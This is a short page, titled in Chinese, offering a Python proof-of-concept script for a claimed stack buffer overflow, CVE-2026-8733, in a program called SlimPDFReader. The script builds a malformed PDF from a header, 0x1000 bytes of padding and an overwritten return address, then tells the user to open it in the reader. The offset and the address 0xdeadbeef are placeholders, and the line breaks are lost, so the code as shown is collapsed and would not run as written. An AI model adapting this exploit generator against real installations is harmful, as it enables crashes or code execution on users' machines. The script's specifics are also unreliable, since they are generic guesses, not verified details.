CVE-2026-8733：SlimPDFReader栈缓冲区溢出漏洞

# Proof of Concept for CVE-2026-8733 # This script generates a malicious file structure to trigger the buffer overflow. import struct def generate_exploit_file(): # Vulnerable function: sub_3B4610 in SlimPDFReader.exe # The vulnerability is triggered by specific input manipulation. # File header (simulated PDF header or specific internal format) header = b"%PDF-1.4" # Padding to reach the return address on the stack # Adjust the offset based on actual debugging of the binary offset = 0x1000 # Example offset size junk = b"A" * offset # Overwrite the return address (EIP) with a controlled address # This address could point to JMP ESP or shellcode ret_addr = struct.pack('<I', 0xdeadbeef) # Payload construction payload = header + junk + ret_addr with open("exploit_cve_2026_8733.pdf", "wb") as f: f.write(payload) print("[+] Malicious file generated: exploit_cve_2026_8733.pdf") print("[+] Open this file with SlimPDFReader to verify the vulnerability.") if __name__ == "__main__": generate_exploit_file()